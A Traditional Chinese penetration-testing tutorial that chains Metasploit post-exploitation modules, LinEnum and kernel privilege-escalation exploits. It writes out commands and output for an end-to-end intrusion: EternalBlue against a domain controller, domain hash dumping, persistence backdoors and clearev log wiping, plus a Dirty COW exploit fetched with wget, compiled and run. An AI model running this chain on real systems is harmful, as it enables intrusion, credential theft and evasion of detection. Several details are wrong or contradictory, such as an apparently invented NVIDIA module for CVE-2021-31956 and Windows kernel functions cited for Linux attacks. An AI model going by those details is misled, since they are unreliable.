Windows 與 Linux 內核安全及 Metasploit/LinEnum 在滲透測試中的綜合應用

目錄

🛠? 1. 內核安全如何助力滲透測試與黑客行業

1.1 內核安全的戰略價值

1.2 結合 Metasploit 與 LinEnum 的作用

🔍 2. Metasploit 信息收集模塊及其在內核安全中的應用

2.1 Windows 信息收集模塊

2.2 Linux 信息收集模塊

2.3 使用步驟

Windows 模塊使用步驟

Linux 模塊使用步驟

?? 3. 實際案例:信息收集與內核提權

3.1 Windows 案例:枚舉應用程序與內核漏洞提權

3.2 Linux 案例:枚舉網絡信息與 Dirty COW 提權

📊 4. Metasploit 信息收集模塊能收集的信息類型

🌐 5. 使用 Metasploit 信息收集模塊的場景

🧠 6. 高級滲透內網工程師的思路

🛡? 7. 全面邏輯步驟與內網滲透案例

7.1 案例背景

7.2 邏輯步驟與技術細節

7.3 結果

📜 8. LinEnum 腳本詳解

8.1 LinEnum 簡介

8.2 使用方式

8.3 收集的信息類型

8.4 實際案例

🌟 9. 內核安全與 Metasploit/LinEnum 的協同優勢

9.1 內核安全的核心作用

9.2 Metasploit 與 LinEnum 的輔助作用

📚 10. 學習建議與資源

10.1 學習路徑

內網滲透測試與內核安全技術指南

🛠? 1. 內核安全在滲透測試中的戰略價值

1.1 提升漏洞利用精度

1.2 繞過防御機制

1.3 持久化與隱藏

🔍 2. Metasploit 信息收集模塊

2.1 Windows 模塊

2.2 Linux 模塊

?? 3. 實際案例:信息收集與提權

3.1 Windows 提權

3.2 Linux 提權

📊 4. 收集的信息類型

🌐 5. 使用場景

🧠 6. 高級滲透工程師思路

🛡? 7. 內網滲透案例

7.1 步驟

7.2 結果

📜 8. LinEnum 腳本詳解


🛠? 1. 內核安全如何助力滲透測試與黑客行業

1.1 內核安全的戰略價值

內核安全知識賦予滲透測試人員深入系統底層的能力,從用戶態(Ring 3)突破到內核態(Ring 0),實現最高權限控制。結合 Metasploit 的后滲透模塊(如 enum_applicationsenum_network)和 LinEnum 腳本,內核安全知識可以:

  • 提升漏洞利用精度:通過理解內核數據結構(如 EPROCESSToken)和內存布局,開發針對性的提權 Exploit。

  • 繞過防御機制:掌握 KASLR、SMEP、SMAP 等防御技術,設計繞過方案。

  • 增強持久化與隱蔽性:利用內核級技術(如 Rootkit、DKOM)實現持久化后門,躲避 EDR 和 AV 檢測。

    1.2 結合 Metasploit 與 LinEnum 的作用

    • Metasploit 后滲透模塊:提供自動化信息收集,快速獲取系統配置、用戶憑證、網絡信息等,為內核級攻擊提供情報支持。

    • LinEnum 腳本:在 Linux 環境中枚舉系統配置(如 SUID 文件、cron 任務),發現潛在的內核提權路徑。

    • 內核安全知識:結合內核函數(如 PsCreateSystemThread)和漏洞(如 UAF),實現從信息收集到提權的完整攻擊鏈。


    🔍 2. Metasploit 信息收集模塊及其在內核安全中的應用

    2.1 Windows 信息收集模塊

    以下是常用的 Windows 后滲透模塊,位于 post/windows/gather/post/windows/gather/forensics/ 目錄下,結合內核安全的技術細節:

    模塊名稱

    功能描述

    內核安全相關性

    post/windows/gather/enum_applications

    枚舉目標系統安裝的應用程序及其版本(如 7-Zip、Docker Desktop)。

    識別潛在的內核驅動漏洞(如第三方驅動的 IOCTL 漏洞)或易受攻擊的軟件版本。

    post/windows/gather/enum_patches

    枚舉系統已安裝的補丁(如 KB2871997)。

    檢測缺失的內核補丁(如 MS17-010),為內核漏洞利用(如 EternalBlue)提供依據。

    post/windows/gather/enum_chrome

    提取 Chrome 瀏覽器的憑證、歷史記錄、書簽等。

    可結合內核級內存操作(如 MmMapIoSpace)直接讀取用戶態內存中的敏感數據。

    post/windows/gather/enum_users

    枚舉系統用戶賬戶和權限。

    定位高權限用戶(如 Administrator),為后續內核提權(如修改 Token)做準備。

    post/windows/gather/credentials/*

    收集系統憑證(如 SAM 文件、LSASS 內存中的密碼哈希)。

    可通過內核函數(如 ObReferenceObjectByHandle)直接操作 LSASS 進程內存。

    技術細節

    • 內核角度enum_applications 可能發現第三方驅動(如 NVIDIA 驅動),這些驅動常包含未簽名的 IOCTL 接口,易被攻擊者利用(如 CVE-2021-31956)。

    • 提權路徑:通過 enum_patches 識別缺失的內核補丁,結合內核漏洞(如 CVE-2020-0796 SMBGhost)實現提權。

      2.2 Linux 信息收集模塊

      以下是常用的 Linux 后滲透模塊,位于 post/linux/gather/ 目錄下:

      模塊名稱

      功能描述

      內核安全相關性

      post/linux/gather/enum_configs

      收集常見應用配置(如 Apache、MySQL、Samba)。

      識別配置錯誤(如 MySQL 運行在 root 權限下),為內核提權(如 UAF 漏洞)提供線索。

      post/linux/gather/enum_network

      收集網絡信息(路由表、防火墻規則、DNS 配置、SSH 配置等)。

      發現網絡服務(如 SSH)運行的內核模塊,結合內核漏洞(如 CVE-2016-5195 Dirty COW)。

      post/linux/gather/enum_system

      枚舉系統信息(安裝包、服務、用戶列表、cron 任務等)。

      定位 SUID 文件或 cron 任務,結合內核漏洞(如 CVE-2017-1000112)實現提權。

      post/linux/gather/enum_protections

      檢查系統防護機制(如 SELinux、SMEP、SMAP、grsecurity)。

      評估內核防護強度,設計繞過 KASLR 或 SMEP 的 Exploit(如 ROP 鏈)。

      post/linux/gather/ecryptfs_creds

      收集用戶 .ecryptfs 目錄中的加密憑證。

      可結合內核內存操作(如 MmAllocateContiguousMemory)直接訪問加密文件。

      技術細節

      • 內核角度enum_protections 識別是否啟用 SMEP/SMAP,攻擊者可通過內核漏洞(如 CVE-2019-2215)繞過這些保護。

      • 提權路徑enum_system 發現 SUID 文件或 cron 任務,結合內核漏洞(如 Dirty COW)修改文件權限實現提權。

        2.3 使用步驟

        Windows 模塊使用步驟
        1. 啟動 Metasploit

           

          msfconsole

          1. 選擇模塊

             

            use post/windows/gather/enum_applications

            1. 查看會話

               

              sessions -l

              ??輸出示例:

               

              Id Name Type Information -- ---- ---- ----------- 1 meterpreter x64/windows DESKTOP-N3MAG5R\basic_user

              1. 設置會話

                 

                set SESSION 1

                1. 運行模塊

                   

                  run

                  ??輸出示例:

                   

                  [*] Enumerating applications installed on DESKTOP-N3MAG5R Installed Applications ====================== Name Version ---- ------- 7-Zip 21.07 (x64) Docker Desktop 2.2.0.4

                  1. 查看收集的數據

                     

                    loot

                    ??輸出示例:

                     

                    Loot ==== host lpath type ---- ----- ---- 192.168.123.151 /Users/user/.msf4/loot/.../apps.txt applications

                    Linux 模塊使用步驟
                    1. 啟動 Metasploit

                       

                      msfconsole

                      1. 選擇模塊

                         

                        use post/linux/gather/enum_network

                        1. 查看選項

                           

                          show options

                          ??輸出示例:

                           

                          Module options (post/linux/gather/enum_network): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on

                          1. 設置會話

                             

                            set SESSION 2

                            1. 運行模塊

                               

                              run

                              ??輸出示例:

                               

                              [*] Gathering network information... [+] IPTables rules: /etc/iptables/rules.v4 [+] Interfaces: eth0 (192.168.1.100) [+] SSH config: /etc/ssh/sshd_config

                              1. 查看收集的數據

                                 

                                loot

                                技術細節

                                • 內核安全角度:模塊運行時可能調用內核函數(如 IoCreateDevice)與驅動交互,攻擊者可利用驅動漏洞(如 IOCTL 處理不當)提權。

                                • 注意事項:確保目標系統已成功滲透并獲得 Meterpreter 會話,否則模塊無法運行。


                                ?? 3. 實際案例:信息收集與內核提權

                                3.1 Windows 案例:枚舉應用程序與內核漏洞提權

                                場景:滲透測試人員通過釣魚郵件獲得 Windows 10 工作站(IP: 192.168.1.100)的 Meterpreter 會話,目標是提權到 SYSTEM。

                                1. 枚舉應用程序

                                   

                                  use post/windows/gather/enum_applications set SESSION 1 run

                                  ??輸出示例:

                                   

                                  Installed Applications ====================== Name Version ---- ------- NVIDIA Driver 456.71

                                  ??發現:NVIDIA 驅動版本存在已知漏洞(如 CVE-2021-31956,IOCTL 漏洞)。

                                  1. 利用內核漏洞提權

                                    1. 使用公開的 Exploit(如 Exploit-DB 的 PoC):

                                       

                                      use exploit/windows/local/cve_2021_31956_nvidia set SESSION 1 run

                                      • 內核技術細節:該漏洞利用 NVIDIA 驅動的 IOCTL 處理不當,通過 MmMapIoSpace 映射內核內存,修改 EPROCESS.Token 實現提權。

                                    2. 結果:獲得 SYSTEM 權限,輸出:

                                       

                                      [*] Privilege escalation successful meterpreter > getuid Server username: NT AUTHORITY\SYSTEM

                                      3.2 Linux 案例:枚舉網絡信息與 Dirty COW 提權

                                      場景:滲透測試人員通過 SSH 弱密碼(root:toor)獲得 Linux 服務器(IP: 192.168.1.200)的 Meterpreter 會話,目標是提權到 root。

                                      1. 枚舉網絡信息

                                         

                                        use post/linux/gather/enum_network set SESSION 2 run

                                        ??輸出示例:

                                         

                                        [+] Interfaces: eth0 (192.168.1.200) [+] SSH config: /etc/ssh/sshd_config

                                        ??發現:服務器運行 Ubuntu 16.04,易受 Dirty COW 漏洞(CVE-2016-5195)影響。

                                        1. 利用內核漏洞提權

                                          1. 使用 Metasploit 模塊:

                                             

                                            use exploit/linux/local/dirtycow set SESSION 2 run

                                            • 內核技術細節:Dirty COW 利用內核的寫時復制(COW)機制,通過修改 /etc/passwd 的只讀映射,添加 root 用戶。

                                          2. 結果:獲得 root 權限,輸出:

                                             

                                            [*] Privilege escalation successful meterpreter > getuid Server username: root

                                            技術細節

                                            • Windows 案例:利用內核函數(如 ObReferenceObjectByHandle)操作句柄表,結合 IOCTL 漏洞修改權限。

                                            • Linux 案例:利用內核內存管理漏洞(如 COW 機制),結合 enum_network 發現的配置信息,優化攻擊路徑。


                                            📊 4. Metasploit 信息收集模塊能收集的信息類型

                                            以下是 Windows 和 Linux 后滲透模塊能收集的全面信息類型,結合內核安全角度:

                                            信息類型

                                            Windows 模塊示例

                                            Linux 模塊示例

                                            內核安全相關性

                                            應用程序信息

                                            enum_applications: 安裝的軟件及版本

                                            enum_system: 安裝的包

                                            識別易受攻擊的內核驅動或服務(如舊版驅動的 IOCTL 漏洞)。

                                            系統補丁

                                            enum_patches: 已安裝的 KB 補丁

                                            enum_protections: 內核防護機制

                                            檢測缺失的內核補丁或防護(如 KASLR、SMEP),為漏洞利用提供依據。

                                            用戶憑證

                                            enum_chrome: 瀏覽器憑證

                                            ecryptfs_creds: 加密文件憑證

                                            可通過內核內存操作(如 MmMapIoSpace)直接讀取憑證數據。

                                            網絡配置

                                            enum_shares: SMB 共享信息

                                            enum_network: 路由表、防火墻規則

                                            發現網絡服務(如 SMB、SSH)運行的內核模塊,結合漏洞(如 EternalBlue)提權。

                                            系統配置

                                            enum_configs: 系統配置文件

                                            enum_configs: Apache、MySQL 配置

                                            識別配置錯誤(如 root 權限服務),為內核提權(如 UAF 漏洞)提供線索。

                                            用戶權限

                                            enum_users: 用戶賬戶及權限

                                            enum_system: 用戶列表、SUID 文件

                                            定位高權限用戶或 SUID 文件,結合內核漏洞(如 Dirty COW)提權。

                                            服務與進程

                                            enum_services: 運行的服務

                                            enum_system: 運行的服務、cron 任務

                                            發現運行在內核態的服務(如 SSH 內核模塊),為 Hook 或漏洞利用提供目標。

                                            技術細節

                                            • 內核角度:信息收集模塊可能觸發內核函數(如 PsLookupProcessByProcessId)枚舉進程,攻擊者可利用內核漏洞(如 UAF)篡改進程結構。

                                            • 提權路徑:收集的信息(如 SUID 文件、缺失補丁)為內核漏洞利用(如 CVE-2017-1000112)提供精準目標。


                                            🌐 5. 使用 Metasploit 信息收集模塊的場景

                                            以下是結合內核安全知識的典型使用場景:

                                            1. 漏洞評估

                                              1. 使用 enum_patches(Windows)或 enum_protections(Linux)識別缺失的內核補丁或防護機制,為后續漏洞利用(如 EternalBlue、Dirty COW)提供依據。

                                              2. 內核角度:分析補丁狀態,結合 KASLR 繞過技術(如泄漏內核基址)開發 Exploit。

                                            2. 提權攻擊

                                              1. 通過 enum_applications(Windows)或 enum_system(Linux)發現易受攻擊的驅動或 SUID 文件,結合內核漏洞(如 IOCTL 或 COW 漏洞)提權。

                                              2. 內核角度:利用內核函數(如 MmAllocateContiguousMemory)分配內存,構造提權 Payload。

                                            3. 內網橫向移動

                                              1. 使用 enum_network 收集路由表、DNS 配置,結合內核級網絡 Hook(如 KeSetInterruptHandler)攔截流量,實現 pivoting。

                                              2. 案例:利用 enum_shares 發現 SMB 共享,結合 EternalBlue 漏洞(CVE-2017-0144)攻擊內網其他主機。

                                            4. 憑證竊取

                                              1. 使用 enum_chrome(Windows)或 ecryptfs_creds(Linux)收集憑證,結合內核內存操作(如 MmMapIoSpace)直接讀取敏感數據。

                                              2. 內核角度:通過內核漏洞(如 CVE-2020-0796)訪問 LSASS 內存,提取域憑證。

                                            5. 持久化與隱藏

                                              1. 使用 enum_system(Linux)發現 cron 任務,結合內核級 Rootkit(如 DKOM)實現持久化。

                                              2. 內核角度:通過 SSDT Hook 修改系統調用,隱藏惡意進程或文件。


                                            🧠 6. 高級滲透內網工程師的思路

                                            高級內網滲透工程師將內核安全知識與 Metasploit 模塊、LinEnum 腳本結合,形成系統化的攻擊思路:

                                            1. 信息收集為基石

                                              1. Metasploit:使用 enum_applicationsenum_network 等模塊快速收集系統和網絡信息,定位潛在的內核漏洞目標(如舊版驅動、SUID 文件)。

                                              2. LinEnum:枚舉 Linux 系統配置,重點關注內核版本、SUID 文件、cron 任務,為內核提權提供線索。

                                              3. 內核角度:分析 PE 結構(如驅動的導出表)或內存布局(如內核池分配),定位漏洞點。

                                            2. 漏洞利用與提權

                                              1. 結合收集的信息,優先選擇內核漏洞(如 IOCTL、UAF、Dirty COW)實現提權。

                                              2. 內核技術:利用 MmMapIoSpace 映射內核內存,或通過 ROP 鏈繞過 SMEP/SMAP。

                                            3. 橫向移動與 pivoting

                                              1. 使用 enum_network 收集內網信息,結合內核級網絡 Hook 或 EternalBlue 漏洞攻擊其他主機。

                                              2. 內核角度:通過中斷機制(如 KeSetInterruptHandler)攔截網絡流量,實現隱蔽的 pivoting。

                                            4. 持久化與隱藏

                                              1. 利用內核級 Rootkit(如 DKOM、SSDT Hook)隱藏進程或文件,繞過 EDR 檢測。

                                              2. Metasploit:使用 post/windows/manage/persistencepost/linux/manage/sshkey_persistence 實現持久化。

                                            5. 清理痕跡

                                              1. 使用 Metasploit 的清理模塊(如 clearev)刪除事件日志,結合內核級操作(如修改日志文件)確保隱蔽性。

                                              技術細節

                                              • 內核安全核心:理解 Ring 0/3 權限模型,熟練操作內核數據結構(如 EPROCESSKTHREAD),結合 Metasploit 模塊自動化攻擊流程。

                                              • 高級技巧:通過逆向分析(IDA Pro、Ghidra)定位內核函數入口,開發自定義 Exploit 繞過 PatchGuard 或 SELinux。


                                              🛡? 7. 全面邏輯步驟與內網滲透案例

                                              7.1 案例背景

                                              通過釣魚郵件控制了一臺 Windows 工作站(IP: 192.168.1.100),目標是滲透內網并控制域控制器(IP: 192.168.1.10)。

                                              7.2 邏輯步驟與技術細節

                                              1. 初始立足點與信息收集

                                                1. Metasploit 模塊

                                                   

                                                  use post/windows/gather/enum_applications set SESSION 1 run

                                                  ????發現:工作站安裝了舊版 NVIDIA 驅動(CVE-2021-31956 漏洞)。

                                                  • LinEnum(若目標為 Linux)

                                                     

                                                    scp LinEnum.sh user@192.168.1.100:/tmp/ ssh user@192.168.1.100 chmod +x /tmp/LinEnum.sh ./LinEnum.sh

                                                    ????發現:Linux 系統運行 Ubuntu 16.04,存在 Dirty COW 漏洞。

                                                    • 內核角度:分析 PE 結構,定位驅動的 IOCTL 接口,或檢查內核版本(uname -r)確認漏洞。

                                                    • 提權到 SYSTEM/root

                                                      1. Windows

                                                         

                                                        use exploit/windows/local/cve_2021_31956_nvidia set SESSION 1 run

                                                        ????技術細節:利用 IOCTL 漏洞,通過 MmMapIoSpace 修改 EPROCESS.Token,提升到 SYSTEM 權限。

                                                        • Linux

                                                           

                                                          use exploit/linux/local/dirtycow set SESSION 2 run

                                                          ????技術細節:利用 COW 機制修改 /etc/passwd,添加 root 用戶。

                                                          • 結果:獲得 SYSTEM/root 權限。

                                                          • 內網信息收集

                                                            1. Metasploit

                                                               

                                                              use post/windows/gather/enum_shares set SESSION 1 run

                                                              ????發現:域控制器(192.168.1.10)存在 SMB 共享,運行 Windows Server 2016。

                                                              • 內核角度:使用 enum_patches 檢查域控制器補丁狀態,確認是否存在 EternalBlue 漏洞(CVE-2017-0144)。

                                                              • 橫向移動

                                                                1. Metasploit

                                                                   

                                                                  use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.10 set LHOST 192.168.1.100 run

                                                                  ????技術細節:EternalBlue 利用 SMB 協議漏洞,通過內核函數(如 IoCompleteRequest)執行遠程代碼。

                                                                  • 結果:獲得域控制器 Meterpreter 會話。

                                                                  • 憑證竊取

                                                                    1. Metasploit

                                                                       

                                                                      use post/windows/gather/credentials/domain_hashdump set SESSION 3 run

                                                                      ????技術細節:通過內核級內存操作(如 MmMapIoSpace)訪問 LSASS 內存,提取域用戶哈希。

                                                                      • 結果:獲取域管理員憑證。

                                                                      • 持久化與清理

                                                                        1. Windows

                                                                           

                                                                          use post/windows/manage/persistence set SESSION 1 run

                                                                          ????技術細節:通過內核級 Rootkit(如 DKOM)隱藏持久化進程。

                                                                          • Linux

                                                                             

                                                                            use post/linux/manage/sshkey_persistence set SESSION 2 run

                                                                            ????技術細節:通過修改 /root/.ssh/authorized_keys,結合內核 Hook 隱藏 SSH 密鑰。

                                                                            • 清理

                                                                               

                                                                              clearev

                                                                              ????技術細節:通過內核函數(如 ObReferenceObjectByHandle)修改事件日志,清除痕跡。

                                                                            7.3 結果

                                                                            • 成功控制域控制器(192.168.1.10)。

                                                                            • 獲取公司全部用戶憑證(包括域管理員哈希)。

                                                                            • 實現持久化后門,保持隱蔽性。

                                                                              技術細節

                                                                              • 內核安全核心:利用內核漏洞(如 IOCTL、EternalBlue)實現提權和橫向移動,結合 SSDT Hook 或 DKOM 隱藏攻擊痕跡。

                                                                              • Metasploit 輔助:模塊自動化收集信息,減少手動操作,提高效率。

                                                                              • LinEnum 補充:在 Linux 環境中快速發現提權路徑。


                                                                                📜 8. LinEnum 腳本詳解

                                                                                8.1 LinEnum 簡介

                                                                                LinEnum 是一個強大的 Linux 信息收集腳本,用于枚舉系統配置、用戶權限、cron 任務等,幫助滲透測試人員發現提權機會。它特別適合結合內核安全知識,定位內核漏洞或配置錯誤。

                                                                                8.2 使用方式

                                                                                1. 下載腳本

                                                                                   

                                                                                  wget https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh

                                                                                  1. 上傳到目標系統

                                                                                     

                                                                                    scp LinEnum.sh user@192.168.1.200:/tmp/

                                                                                    1. 執行腳本

                                                                                       

                                                                                      ssh user@192.168.1.200 cd /tmp chmod +x LinEnum.sh ./LinEnum.sh -t -r report

                                                                                      ??參數說明

                                                                                      1. -t:徹底掃描,收集所有信息。

                                                                                      2. -r report:生成報告文件(如 report-192.168.1.200.txt)。

                                                                                      8.3 收集的信息類型

                                                                                      信息類型

                                                                                      描述

                                                                                      內核安全相關性

                                                                                      系統信息

                                                                                      內核版本(如 4.4.0-21-generic)、發行版、CPU 信息

                                                                                      識別內核版本,匹配已知漏洞(如 Dirty COW、CVE-2017-1000112)。

                                                                                      用戶與權限

                                                                                      當前用戶、SUID/SGID 文件、sudo 配置

                                                                                      發現 SUID 文件或 sudo 權限,結合內核漏洞(如 UAF)提權。

                                                                                      服務與進程

                                                                                      運行的服務(如 SSH、Apache)、進程列表

                                                                                      定位運行在內核態的服務(如 SSH 內核模塊),結合漏洞(如 CVE-2016-5195)攻擊。

                                                                                      計劃任務

                                                                                      cron 任務、at 任務

                                                                                      發現可寫的 cron 腳本,結合內核漏洞修改文件權限。

                                                                                      文件系統

                                                                                      可寫目錄、敏感文件(如 /etc/passwd

                                                                                      利用內核漏洞(如 Dirty COW)修改只讀文件,實現提權。

                                                                                      網絡配置

                                                                                      網絡接口、路由表、開放端口

                                                                                      發現網絡服務,結合內核級網絡 Hook(如 KeSetInterruptHandler)攔截流量。

                                                                                      安全機制

                                                                                      SELinux、AppArmor、grsecurity 配置

                                                                                      評估防護強度,設計繞過方案(如 ROP 鏈繞過 SMEP)。

                                                                                      8.4 實際案例

                                                                                      場景:在 Linux 服務器(IP: 192.168.1.200)上運行 LinEnum,發現提權路徑。

                                                                                      1. 執行 LinEnum

                                                                                         

                                                                                        ./LinEnum.sh -t

                                                                                        ??輸出示例:

                                                                                         

                                                                                        [+] Kernel information: Linux version 4.4.0-21-generic [+] SUID files: -rwsr-xr-x root root /usr/bin/passwd [+] Cron jobs: /etc/cron.daily/update.sh (writable)

                                                                                        1. 發現與利用

                                                                                          1. 內核漏洞:內核版本 4.4.0-21 存在 Dirty COW 漏洞(CVE-2016-5195)。

                                                                                          2. SUID 文件/usr/bin/passwd 可結合 Dirty COW 修改權限。

                                                                                          3. cron 任務:可寫腳本 /etc/cron.daily/update.sh,可注入惡意代碼。

                                                                                        2. 提權

                                                                                          1. 使用 Dirty COW Exploit:

                                                                                             

                                                                                            wget https://www.exploit-db.com/download/40839 gcc 40839.c -o dirtycow ./dirtycow

                                                                                            • 結果:獲得 root 權限,輸出:

                                                                                               

                                                                                              whoami root

                                                                                            技術細節

                                                                                            • 內核角度:LinEnum 發現的內核版本直接匹配漏洞數據庫,結合內核內存管理漏洞(如 COW)實現提權。

                                                                                            • Metasploit 補充:使用 post/linux/gather/enum_system 驗證 LinEnum 的結果,自動化收集 SUID 文件和 cron 任務。


                                                                                            🌟 9. 內核安全與 Metasploit/LinEnum 的協同優勢

                                                                                            9.1 內核安全的核心作用

                                                                                            • 漏洞利用:內核安全知識幫助開發針對性 Exploit(如 IOCTL、UAF、Dirty COW),結合 Metasploit 模塊自動化攻擊。

                                                                                            • 繞過防御:通過逆向分析(IDA Pro、Ghidra)繞過 KASLR、SMEP、PatchGuard 等機制。

                                                                                            • 持久化與隱藏:利用 DKOM、SSDT Hook 等內核技術,結合 Metasploit 的持久化模塊(如 sshkey_persistence)實現隱蔽后門。

                                                                                              9.2 Metasploit 與 LinEnum 的輔助作用

                                                                                              • Metasploit:提供自動化信息收集和漏洞利用模塊,減少手動操作,提高效率。

                                                                                              • LinEnum:快速枚舉 Linux 系統配置,補充 Metasploit 的不足,尤其在 SUID 文件和 cron 任務的發現上。

                                                                                              • 協同流程

                                                                                                • 使用 Metasploit 模塊(如 enum_network)收集初始信息。

                                                                                                • 使用 LinEnum 深入枚舉 Linux 系統配置。

                                                                                                • 結合內核安全知識,開發或利用現有 Exploit 實現提權。


                                                                                              📚 10. 學習建議與資源

                                                                                              10.1 學習路徑

                                                                                              1. 基礎知識

                                                                                                1. 學習 C/C++、匯編(x86/x64),掌握 Windows/Linux 內核架構。

                                                                                                2. 理解 Ring 0/3、PE 結構、中斷機制、虛擬內存等技術棧。

                                                                                              2. 工具與實踐

                                                                                                1. 熟練使用 Metasploit(post/* 模塊)、WinDbg、IDA Pro、Ghidra。

                                                                                                2. 搭建內核調試環境,復現公開漏洞(如 CVE-2021-31956、Dirty COW)。

                                                                                              3. CTF 與實戰

                                                                                                1. 參與 HackTheBox、Pwnable 的內核提權挑戰。

                                                                                                2. 開發簡單內核驅動,理解 IOCTL 和 IRP 的安全處理。


                                                                                              內網滲透測試與內核安全技術指南

                                                                                              🛠? 1. 內核安全在滲透測試中的戰略價值

                                                                                              內核安全知識賦予滲透測試人員從用戶態(Ring 3)突破到內核態(Ring 0)的能力,結合 Metasploit 和 LinEnum,可實現高效的信息收集、提權和內網橫向移動。

                                                                                              1.1 提升漏洞利用精度

                                                                                              • 技術細節:通過分析 EPROCESSToken 等內核數據結構,開發針對性 Exploit。

                                                                                              • 案例:利用 CVE-2021-31956(NVIDIA 驅動 IOCTL 漏洞),通過 MmMapIoSpace 修改權限。

                                                                                                1.2 繞過防御機制

                                                                                                • 技術細節:使用 ROP 鏈繞過 SMEP/SMAP,結合 KASLR 泄漏技術定位內核基址。

                                                                                                • 工具:IDA Pro、Ghidra 逆向分析內核模塊。

                                                                                                  1.3 持久化與隱藏

                                                                                                  • 技術細節:通過 DKOM 修改 EPROCESS 鏈表,隱藏惡意進程。

                                                                                                  • Metasploit 模塊post/windows/manage/persistencepost/linux/manage/sshkey_persistence

                                                                                                    🔍 2. Metasploit 信息收集模塊

                                                                                                    2.1 Windows 模塊

                                                                                                    • post/windows/gather/enum_applications:枚舉應用程序,識別易受攻擊的驅動。

                                                                                                    • post/windows/gather/enum_patches:檢查缺失補丁,定位內核漏洞。

                                                                                                    • 使用示例

                                                                                                       

                                                                                                      use post/windows/gather/enum_applications set SESSION 1 run

                                                                                                      2.2 Linux 模塊

                                                                                                      • post/linux/gather/enum_network:收集網絡配置,定位內核模塊。

                                                                                                      • post/linux/gather/enum_protections:檢查 SMEP/SMAP 等防護機制。

                                                                                                      • 使用示例

                                                                                                         

                                                                                                        use post/linux/gather/enum_network set SESSION 2 run

                                                                                                        ?? 3. 實際案例:信息收集與提權

                                                                                                        3.1 Windows 提權

                                                                                                        • 模塊enum_applications 發現 NVIDIA 驅動漏洞(CVE-2021-31956)。

                                                                                                        • Exploit

                                                                                                           

                                                                                                          use exploit/windows/local/cve_2021_31956_nvidia set SESSION 1 run

                                                                                                          3.2 Linux 提權

                                                                                                          • 模塊enum_system 發現 SUID 文件,結合 Dirty COW(CVE-2016-5195)。

                                                                                                          • Exploit

                                                                                                             

                                                                                                            use exploit/linux/local/dirtycow set SESSION 2 run

                                                                                                            📊 4. 收集的信息類型

                                                                                                            • 應用程序:驅動版本、軟件漏洞。

                                                                                                            • 補丁狀態:缺失的 KB 補丁或內核防護。

                                                                                                            • 憑證:瀏覽器憑證、加密文件。

                                                                                                            • 網絡配置:路由表、防火墻規則。

                                                                                                              🌐 5. 使用場景

                                                                                                              • 漏洞評估:識別內核漏洞(如 EternalBlue)。

                                                                                                              • 提權攻擊:利用 IOCTL 或 COW 漏洞。

                                                                                                              • 內網移動:通過 SMB 或 SSH pivoting。

                                                                                                                🧠 6. 高級滲透工程師思路

                                                                                                                • 信息收集:Metasploit + LinEnum 自動化枚舉。

                                                                                                                • 提權:結合內核漏洞(如 UAF、IOCTL)。

                                                                                                                • 橫向移動:利用 EternalBlue 或 SSH 隧道。

                                                                                                                • 持久化:內核級 Rootkit + Metasploit 持久化模塊。

                                                                                                                  🛡? 7. 內網滲透案例

                                                                                                                  7.1 步驟

                                                                                                                  1. 信息收集enum_applicationsLinEnum.sh

                                                                                                                  2. 提權:CVE-2021-31956(Windows)、Dirty COW(Linux)。

                                                                                                                  3. 橫向移動ms17_010_eternalblue

                                                                                                                  4. 憑證竊取domain_hashdump

                                                                                                                    7.2 結果

                                                                                                                    • 控制域控制器,獲取全部用戶憑證。

                                                                                                                    • 實現持久化后門,清理痕跡。

                                                                                                                      📜 8. LinEnum 腳本詳解

                                                                                                                      • 下載與執行

                                                                                                                         

                                                                                                                        wget https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh scp LinEnum.sh user@192.168.1.200:/tmp/ chmod +x LinEnum.sh ./LinEnum.sh -t -r report

                                                                                                                        • 輸出:內核版本、SUID 文件、cron 任務。

                                                                                                                        • 提權案例:結合 Dirty COW 修改 /etc/passwd

                                                                                                                          本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
                                                                                                                          如若轉載,請注明出處:http://www.pswp.cn/news/913956.shtml
                                                                                                                          繁體地址,請注明出處:http://hk.pswp.cn/news/913956.shtml
                                                                                                                          英文地址,請注明出處:http://en.pswp.cn/news/913956.shtml

                                                                                                                          如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

                                                                                                                          相關文章

                                                                                                                          京東攜手HarmonyOS SDK首發家電AR高精擺放功能

                                                                                                                          在電商行業的演進中,商品的呈現方式不斷升級:從文字、圖片到視頻,再到如今逐漸興起的3D與AR技術。作為XR應用探索的先行者,京東正站在這場體驗革新的最前沿,不斷突破商品展示的邊界,致力于通過創新技術讓消…

                                                                                                                          瞄準Win10難民,蘋果正推出塑料外殼、手機CPU的MacBook

                                                                                                                          最近有消息稱,蘋果正在研發一款定位“低價”的MacBook,售價可能低于800美元(約合人民幣5800元),采用的是A18 Pro芯片,也就是未來iPhone 16 Pro同款的“手機芯片”,而不是現有的M系列。這款產品預…

                                                                                                                          原子級 macOS 信息竊取程序升級:新增后門實現持久化控制

                                                                                                                          臭名昭著的 Atomic macOS Stealer(AMOS,原子級 macOS 竊取程序)惡意軟件近期完成危險升級,全球 Mac 用戶面臨更嚴峻威脅。這款與俄羅斯有關聯的竊密程序首次植入后門模塊,使攻擊者能維持對受感染系統的持久訪問、執行遠…

                                                                                                                          Shader面試題100道之(81-100)

                                                                                                                          Shader面試題(第81-100題) 以下是第81到第100道Shader相關的面試題及答案: 81. Unity中如何實現屏幕空間的熱扭曲效果(Heat Distortion)? 熱扭曲效果可以通過GrabPass抓取當前屏幕圖像,然后在片…

                                                                                                                          C#洗牌算法

                                                                                                                          洗牌算法是一種將序列(如數組、列表)元素隨機打亂的經典算法,核心目標是讓每個元素在打亂后出現在任意位置的概率均等。在 C# 中,常用的洗牌算法有Fisher-Yates 洗牌算法(也稱 Knuth 洗牌算法),…

                                                                                                                          Python PDFplumber詳解:從入門到精通的PDF處理指南

                                                                                                                          一、PDFplumber核心優勢解析 在數字化辦公場景中,PDF文檔處理是數據分析師和開發者的必備技能。相較于PyPDF2、pdfminer等傳統庫,PDFplumber憑借其三大核心優勢脫穎而出: 精準表格提取:采用流式布局分析算法,支持復雜表…

                                                                                                                          Flutter 與 Android 的互通幾種方式

                                                                                                                          Flutter 與 Android 的互通主要通過以下幾種方式實現,每種方式適用于不同的場景:1. 平臺通道(Platform Channels) Flutter 與原生 Android 代碼通信的核心方式,支持雙向調用。 類型: MethodChannel&#xf…

